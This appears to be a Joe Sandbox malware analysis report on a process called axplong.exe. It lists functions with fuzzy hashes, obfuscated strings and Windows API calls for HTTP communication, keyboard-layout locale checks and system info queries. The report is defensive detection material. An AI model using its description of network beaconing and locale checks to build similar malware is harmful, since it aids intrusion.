API String ID:
Opcode ID: b6595d367e5ef962a956f7d8297970cc5e6a575c6ff67e25538bda806569f256
Instruction ID: be0337b6e5b0d16260bb1daa577e806dc3efd187a4b0b691b3c9d45b5a3eb60d
Opcode Fuzzy Hash: b6595d367e5ef962a956f7d8297970cc5e6a575c6ff67e25538bda806569f256
Instruction Fuzzy Hash: B20121DB38E210EED19355910F841F12F22BBA3170339A496E24B85643B0883A8DB023

Function 04EF0C62 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415763850.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a92b8f4bca3880d114a0a5a6e3d4f4eac67e807c4b307267373b99f649a3df
Instruction ID: 04688eab7437e88d6d7d43453dddcef4075b131546fff4f67a397e9d029fc945
Opcode Fuzzy Hash: 05a92b8f4bca3880d114a0a5a6e3d4f4eac67e807c4b307267373b99f649a3df
Instruction Fuzzy Hash: F1F024DB78E210EED08795821F841F13E13B7A32703306492F20B94603B0993B9D7032

Function 04EF0AD8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415763850.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fbc017c8053f4f9aadcd4f55e7946bb7b9956b050c1d3797467007e1a7c6aea
Instruction ID: b9114739a6596102664494428cf400aa18793095fcb093cff73161d774181390
Opcode Fuzzy Hash: 9fbc017c8053f4f9aadcd4f55e7946bb7b9956b050c1d3797467007e1a7c6aea
Instruction Fuzzy Hash: F1C04CA5378655AA855300250CA59E2184657992395222255232745F837295B611E049

Non-executed Functions

Function 04EF02EF Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415763850.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46f6c383d40b6054430a1039dc9c0859ef752a3a5586341eed0e61ec661a7958
Instruction ID: b7aef9f914992723e447f8d61bdd3fae4ec617af38e8fab253731b814189d29c
Opcode Fuzzy Hash: 46f6c383d40b6054430a1039dc9c0859ef752a3a5586341eed0e61ec661a7958
Instruction Fuzzy Hash: 71114CAB38A2206FE11240852F546F66B6EEBC36717309076F606DB207F2C45E496132

Function 04EF0709 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415763850.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d89516268b292fa742fb247e279a1da2784810f5a004c9770f1e5c8fd54ccc06
Instruction ID: c68fb579d720c8122dc78453b96429a6a06dcc160b709365e4938b358665609f
Opcode Fuzzy Hash: d89516268b292fa742fb247e279a1da2784810f5a004c9770f1e5c8fd54ccc06
Instruction Fuzzy Hash: 1CF0AFEB348510BDF016A512AF50DF7272DEBD1730330D4AAF803CA983F2591E0A5930

Analysis Process: axplong.exePID: 2092, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.1%
Total number of Nodes:	1947
Total number of Limit Nodes:	36

Executed Functions

Function 00F6BD60 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00FB8D70,00000000,00000000,00000000,00000000), ref: 00F6BDEC
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F6BE10
HttpOpenRequestA.WININET(?,00000000), ref: 00F6BE5B
HttpSendRequestA.WININET(?,00000000), ref: 00F6BF1A
InternetReadFile.WININET(?,?,000003FF,?), ref: 00F6BFCD
InternetReadFile.WININET(?,?,000003FF,?,?,?,?,?), ref: 00F6C081
InternetCloseHandle.WININET(?), ref: 00F6C0A7
InternetCloseHandle.WININET(?), ref: 00F6C0AF
InternetCloseHandle.WININET(?), ref: 00F6C0B7

Strings

invalid stoi argument, xrefs: 00F6E404
RpKt, xrefs: 00F6D516
RHYTYv==, xrefs: 00F6BE33
8KG0fCKZFzY=, xrefs: 00F6C385
8KG0fymoFx==, xrefs: 00F6C2EB, 00F6C543
stoi argument out of range, xrefs: 00F6E3FA

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
API String ID: 1354133546-332458646
Opcode ID: bbc76b4d5af57d1fb129e4d8c3b8ba160cd6f58b119df7d6339dbab102db2415
Instruction ID: 2bbc068d3ede941b984459996f9d17729648d5dab37726e3c8cba2aa7f25e864
Opcode Fuzzy Hash: bbc76b4d5af57d1fb129e4d8c3b8ba160cd6f58b119df7d6339dbab102db2415
Instruction Fuzzy Hash: ABB127B1A001189BEB24CF28CC85BEEBB79EF45304F5081A9F548972D2D7759AC0DFA5

Function 00F6E440 Relevance: 14.8, Strings: 11, Instructions: 1000
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GqKudSO2, xrefs: 00F6E47F
UD==, xrefs: 00F6EA1F, 00F6EC66
WWp=, xrefs: 00F704DA
#, xrefs: 00F70534
MT==, xrefs: 00F6E4A5
246122658369, xrefs: 00F6F647, 00F6F924, 00F704F7, 00F708AA
MJB+, xrefs: 00F6E734
WGt=, xrefs: 00F6F62D, 00F6F90A
111, xrefs: 00F6F6B0
fed3aa, xrefs: 00F6FA9E
WWt=, xrefs: 00F7088D

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$WWt=$fed3aa
API String ID: 0-214772295
Opcode ID: 2654860667c15ad2bba446d9bc8a62c163c423d3dcc321877c154afbe8b1e0fa
Instruction ID: 81c5fa7f8c4246f0eccd94a5d27286b5b662bf4045d1f55ab70af271d6d7f8a4
Opcode Fuzzy Hash: 2654860667c15ad2bba446d9bc8a62c163c423d3dcc321877c154afbe8b1e0fa
Instruction Fuzzy Hash: 2382E470904248DBEF14EF68CD49BDD7BB5AF46304F608189E809673C2D7799A88DBD2

Function 00F7D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00F6247E

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 76a99aed33337fbd811e65529b83c80af4bd6362eb0dff49cb2753dbafcac09e
Instruction ID: 47233421f6acff345699bf410b2ab57995d5b1f0a00c25cbc9733edcc2dccd94
Opcode Fuzzy Hash: 76a99aed33337fbd811e65529b83c80af4bd6362eb0dff49cb2753dbafcac09e
Instruction Fuzzy Hash: 0F519DB2D006099FDB29CF55D982BA9BBF0FF58320F24856BD408EB250D7389940EF51

Function 00F73550 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00F7425F

Part of subcall function 00F77870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00F7795C
Part of subcall function 00F77870: __Cnd_destroy_in_situ.LIBCPMT ref: 00F77968
Part of subcall function 00F77870: __Mtx_destroy_in_situ.LIBCPMT ref: 00F77971

Strings

invalid stoi argument, xrefs: 00F72DE9, 00F72DF8, 00F7425A, 00F74E9D
WJP6, xrefs: 00F753A3
V0x6, xrefs: 00F7541E
V5Qk, xrefs: 00F73DC0
aqB6, xrefs: 00F754DB
WJms, xrefs: 00F73BD9
", xrefs: 00F73E99
246122658369, xrefs: 00F71EA5, 00F727EE, 00F72A43, 00F72AB0, 00F72E88, 00F73373, 00F733D4, 00F74F3A, 00F74F4D, 00F74F8F, 00F74F99, 00F754F4
MJB+, xrefs: 00F74776, 00F747ED, 00F74A95, 00F74B0C
Fz==, xrefs: 00F7369E, 00F74D2D
Vp 6, xrefs: 00F75447
96B6, xrefs: 00F75470
aZT6, xrefs: 00F753CC
MJF+, xrefs: 00F747BD, 00F748EC, 00F74ADC, 00F74C0B
KFT0PL==, xrefs: 00F754B9
mP=, xrefs: 00F76383
JB6, xrefs: 00F753F5
5120, xrefs: 00F73ABF, 00F73BAA
9KN6, xrefs: 00F75351
8ZF6, xrefs: 00F75502
6F9fr==, xrefs: 00F74712
5F6, xrefs: 00F75497
V0N6, xrefs: 00F7537A
9526, xrefs: 00F7531D
HBhr, xrefs: 00F7378F
W07l, xrefs: 00F73AEE
fed3aa, xrefs: 00F75489
stoi argument out of range, xrefs: 00F72E02, 00F74269, 00F74EAC

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$"$246122658369$5120$8ZF6$9526$96B6$9KN6$Fz==$HBhr$KFT0PL==$MJB+$MJF+$V0N6$V0x6$V5Qk$Vp 6$W07l$WJP6$WJms$aZT6$aqB6$fed3aa$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3875209911
Opcode ID: 564c4f4d4f91ca9e4c05fc3ffdcac689d48258bd7cc13225e4c0dd7e47d2278d
Instruction ID: cd0d8b834be11e2494c18bb67ca4638991932a12f5ec67ea8444117f3e4aa8c4
Opcode Fuzzy Hash: 564c4f4d4f91ca9e4c05fc3ffdcac689d48258bd7cc13225e4c0dd7e47d2278d
Instruction Fuzzy Hash: 41523871A00248DBEF18EF78CD4679DBB75AF45304F50819EE409A7282D7389A84EBD3

Function 00F746C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00F77870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00F7795C
Part of subcall function 00F77870: __Cnd_destroy_in_situ.LIBCPMT ref: 00F77968
Part of subcall function 00F77870: __Mtx_destroy_in_situ.LIBCPMT ref: 00F77971

Part of subcall function 00F6BD60: InternetOpenW.WININET(00FB8D70,00000000,00000000,00000000,00000000), ref: 00F6BDEC
Part of subcall function 00F6BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F6BE10
Part of subcall function 00F6BD60: HttpOpenRequestA.WININET(?,00000000), ref: 00F6BE5B

std::_Xinvalid_argument.LIBCPMT ref: 00F74EA2

Strings

WJP6, xrefs: 00F753A3
V0x6, xrefs: 00F7541E
mP=, xrefs: 00F76383, 00F76652
aqB6, xrefs: 00F754DB
JB6, xrefs: 00F753F5
246122658369, xrefs: 00F74F3A, 00F74F4D, 00F74F8F, 00F74F99, 00F754F4
MJB+, xrefs: 00F74776, 00F747ED, 00F74A95, 00F74B0C
9KN6, xrefs: 00F75351
8ZF6, xrefs: 00F75502
Fz==, xrefs: 00F7369E, 00F74D2D
6F9fr==, xrefs: 00F74712
Vp 6, xrefs: 00F75447
96B6, xrefs: 00F75470
aZT6, xrefs: 00F753CC
5F6, xrefs: 00F75497
V0N6, xrefs: 00F7537A
9526, xrefs: 00F7531D
MJF+, xrefs: 00F747BD, 00F748EC, 00F74ADC, 00F74C0B
fed3aa, xrefs: 00F75489
KFT0PL==, xrefs: 00F754B9
stoi argument out of range, xrefs: 00F74269, 00F74EAC

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
API String ID: 2414744145-1662704651
Opcode ID: 35055005afc4a46f1967a805a69fd5ad730edd5b064411d9333c1887576b1f9a
Instruction ID: 490b2c16c1385d19733160b453b6805203bcdfe9a619fe8c7654706199e55b41
Opcode Fuzzy Hash: 35055005afc4a46f1967a805a69fd5ad730edd5b064411d9333c1887576b1f9a
Instruction Fuzzy Hash: 7E231471A002588BEB19DB28CD8979DBB769F85304F54C1D9E00CA72C2EB799F84DF52

Function 00F65DF0 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 364
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00F65E23

Strings

00000422, xrefs: 00F65FD9
Keyboard Layout\Preload, xrefs: 00F65F64
0000043f, xrefs: 00F6603B
00000423, xrefs: 00F6600A
00000419, xrefs: 00F65FA8

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 21f501ba80b1d7f9531b09eb660965181f4be12c02b2087e7e59f5652545fec2
Instruction ID: aa763749e34bc2f3c318bf996e3380a053bcf6b962ff560e774cb2b484bd21e5
Opcode Fuzzy Hash: 21f501ba80b1d7f9531b09eb660965181f4be12c02b2087e7e59f5652545fec2
Instruction Fuzzy Hash: CAE18F71900218ABEB24DFA4CC89BDEB779AF04304F5442D9E509A7291DB74AFC4DF92

Function 00F67D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00F67EA3

Strings

JmpxRL==, xrefs: 00F68062
JmpyPb==, xrefs: 00F6810A
JmpxQb==, xrefs: 00F681B2

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: 039367edb0d662c415071f1b8bc9d1cab310504154369f80cc035aa29598a39e
Instruction ID: 5c9d21f22735570dbd1cc186c797797167a833d24817009a7d828408f2936e8f
Opcode Fuzzy Hash: 039367edb0d662c415071f1b8bc9d1cab310504154369f80cc035aa29598a39e
Instruction Fuzzy Hash: D3D12871E006089BDF14BB68CD5B7AD7771AB86724F50428CE4196B3C2DB398E81A7D3

Function 00F96E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00F96E23
GetFileInformationByHandle.KERNEL32(?,?), ref: 00F96E7D
__dosmaperr.LIBCMT ref: 00F96F12

Part of subcall function 00F97177: __dosmaperr.LIBCMT ref: 00F971AC

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 2e6743c6839b245b681f560fc0f0500db61ed1905b145a803c3418812161b698
Instruction ID: 454dbc22d91432e3058144908ec2555fef16f28d49031ff260441ee0abd650bf
Opcode Fuzzy Hash: 2e6743c6839b245b681f560fc0f0500db61ed1905b145a803c3418812161b698
Instruction Fuzzy Hash: C9414A75900304ABEF24EFB5EC459ABBBF9EF88314B10442DF956D3211EB35A804EB20

Function 00F96C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c75a453a245df45803cbced960ca03d29d13f572e4bf8208d95f66defb1846d
Instruction ID: bdbf6064ac309fb5cc24b90322cfddb58db6a45e2b91d2aeef1c2db4052b6925
Opcode Fuzzy Hash: 8c75a453a245df45803cbced960ca03d29d13f572e4bf8208d95f66defb1846d
Instruction Fuzzy Hash: AF21B672A05208BAFF11BB689C42F9E37699F82778F104311F934AB1D1D7745E05B6A1

Function 00F682B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00F68454

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
